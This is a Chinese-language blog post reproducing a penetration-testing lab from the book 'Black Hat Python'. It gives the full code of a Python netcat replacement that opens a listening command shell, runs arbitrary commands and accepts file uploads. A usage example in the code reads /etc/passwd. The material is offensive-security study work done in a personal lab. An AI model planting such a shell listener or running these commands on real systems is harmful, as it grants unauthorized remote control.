python渗透测试入门之取代netcat

近期收到了电子工业出版社赠送的一本黑客书籍《python黑帽子》，看了一下翻译，令人吃惊，竟然是资深知乎网友，安全大神林修乐（

@Gh0u1L5

，腾讯玄武实验室安全研究员）。接下来的时光里，准备做一下里面的实验，跟进大神的成长步伐。书中一共24个实验，今天复现第一个实验（取代netcat），我的测试环境是mbp电脑+kali虚拟机+conda开发环境。

netcat 一直是老师们口中的瑞士军刀，小巧灵活，却是牛逼plus，文件传输、反弹shell无所不能。

conda create -n py3hack python=3.6
conda activate py3hack
conda deactivate

1、测试命令控制：在服务端先启动脚本

然后在客户端连上服务端，ctrl + D就获得了一个shell

也可以直接使用nc来获得相同的结果

2、测试命令执行：先在服务端启动脚本

在客户端启动脚本，就能得到命令执行的结果

也可以直接使用nc来获得相同的结果

3、测试文件上传：在服务端先执行

接着在客户端执行，并输入文件内容（字符串123）

最后在服务端查看，我们的文件内容（字符串123）传输ok ～

针对二进制文件，我们可以这样传输，在客户端输入< 二进制文件名

再去服务端见证奇迹

参考代码

# -*- coding: utf-8 -*-
# @Time    : 2022/5/31 7:27 PM
# @Author  : ailx10
# @File    : netcat.py

import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading

def execute(cmd):
    cmd = cmd.strip()
    if not cmd:
        return
    output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT)
    return output.decode()

class Netcat:
    def __init__(self,args,buffer=None):
        self.args = args
        self.buffer = buffer
        self.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

    def run(self):
        if self.args.listen:
            self.listen()
        else:
            self.send()

    def send(self):
        self.socket.connect((self.args.target,self.args.port))
        if self.buffer:
            self.socket.send(self.buffer)
        try:
            while True:
                recv_len = 1
                response = ''
                while recv_len:
                    data = self.socket.recv(4096)
                    recv_len = len(data)
                    response += data.decode()
                    if recv_len < 4096:
                        break
                if response:
                    print(response)
                    buffer = input('>')
                    buffer += '\n'
                    self.socket.send(buffer.encode())
        except KeyboardInterrupt:
            print('User terminated')
            self.socket.close()
            sys.exit()

    def listen(self):
        self.socket.bind((self.args.target,self.args.port))
        self.socket.listen(5)
        while True:
            client_socket,_ = self.socket.accept()
            client_thread = threading.Thread(target=self.handle,args=(client_socket,))
            client_thread.start()

    def handle(self,client_socket):
        if self.args.execute:
            output = execute(self.args.execute)
            client_socket.send(output.encode())
        elif self.args.upload:
            file_buffer = b''
            while True:
                data = client_socket.recv(4096)
                print(data.decode)
                if data:
                    file_buffer += data
                else:
                    break
            with open(self.args.upload,'wb') as f:
                f.write(file_buffer)
            message = f'Saved file {self.args.upload}'
            client_socket.send(message.encode())
        elif self.args.command:
            cmd_buffer = b''
            while True:
                try:
                    client_socket.send(b'ailx10:#>')
                    while '\n' not in cmd_buffer.decode():
                        cmd_buffer += client_socket.recv(64)
                    response = execute(cmd_buffer.decode())
                    if response:
                        client_socket.send(response.encode())
                    cmd_buffer = b''
                except Exception as e:
                    print(f'server killed {e}')
                    self.socket.close()
                    sys.exit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="simple netcat tool",
                                     formatter_class=argparse.RawDescriptionHelpFormatter,
                                     epilog=textwrap.dedent("""Example:
                                     netcat.py -t 192.168.0.108 -p 5555 -l -c # command shell
                                     netcat.py -t 192.168.0.108 -p 5555 -l -u=mytest.txt # upload file
                                     netcat.py -t 192.168.0.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
                                     echo 'ABC' | ./netcat.py -t 192.168.0.108 -p 135 # echo text to server port 135
                                     netcat.py -t 192.168.0.108 -p 5555 # connect to server
                                     """))
    parser.add_argument('-c','--command',action='store_true',help='command shell')
    parser.add_argument('-e','--execute',help='execute specified command')
    parser.add_argument('-l','--listen',action='store_true',help='listen')
    parser.add_argument('-p','--port',type=int,default=5555,help='specified port')
    parser.add_argument('-t','--target',default='192.168.0.108',help='specified ip')
    parser.add_argument('-u','--upload',help='upload file')

    args = parser.parse_args()
    if args.listen:
        buffer = ''
    else:
        buffer = sys.stdin.read()

    nc = Netcat(args,buffer.encode())
    nc.run()